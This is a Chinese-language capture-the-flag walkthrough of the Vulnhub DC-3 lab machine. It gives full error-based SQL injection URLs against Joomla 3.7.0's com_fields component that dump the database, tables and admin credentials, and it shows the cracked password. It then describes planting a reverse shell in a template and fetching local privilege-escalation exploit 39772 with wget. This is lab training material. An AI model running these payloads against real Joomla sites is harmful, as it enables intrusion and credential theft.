Vulnhub DC-3 --手搓sql

DC-3主机扫描端口扫描目录扫描存在目录administrator只开放80端口访问页面根据flag提示只有一个flag需要获取到root权限访问扫描出的adminstrator页面页面显示joomla基于PHP和MySQL开发的开源内容管理系统CMS查详细版本看是否有详细漏洞可利用查询了下kali本身没有预装joomscan需要安装git https://github.com/OWASP/joomscan.gitperl joomscan.pl -u 192.168.68.138查看joomla3.7.0是否有可利用漏洞Sql注入和跨站脚本攻击xss用sql注入没有登录用户xss用处不大Updatexml报错注入然后使用的sqlmap手搓#爆数据库名http://192.168.68.138/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml(0x23,concat(1,database()),1)#爆破表名http://192.168.68.138/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml(0x23,concat(0x7e,(select table_name from information_schema.tables where table_schemadatabase() limit 1,1),0x7e),1)limit 90,1最后回显88,1为#__users表#爆表中列名http://192.168.68.138/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml(0x23,concat(0x7e,(select column_name from information_schema.columns where table_name#__users limit 0,1),0x7e),1) ----怎么试都报错可用嵌套http://192.168.68.138/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml(0x23,concat(0x7e,(select column_name from information_schema.columns where table_schemadatabase() and table_name(select table_name from information_schema.tables where table_schemadatabase() limit 88,1) limit 4,1),0x7e),1)得到password 关键字猜测用户名字段为username#爆用户名密码http://192.168.68.138/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml(0x23,concat(0x7e,substring((select concat(username,0x3a,password) from %23__users limit 0,1),1,30),0x7e),1)31,30 61,30密码全部取出admin:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu解密网站https://hashes.com/en/decrypt/hash 解密密码为snoopy登录网站路径Extensions-Templates-Templates新建添加反弹shell保存扫描页面是有目录http://192.168.68.138/templates/显示页面编辑在templates的beez3Kali上监听端口尝试访问http://192.168.68.138/templates/beez3/html/test.php拿到shell查看系统版本查询系统版本后寻找漏洞本地权限提升都试了一边只有39772.txt成功了Txt中提供了下载压缩包及使用方法下载wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip上传到目标机目标机下载解压zip unzip 39772.zip解压exploit.tar tar -xf exploit.tar运行报错发现没有添加运行权限添加权限后重新运行拿到root权限找到flag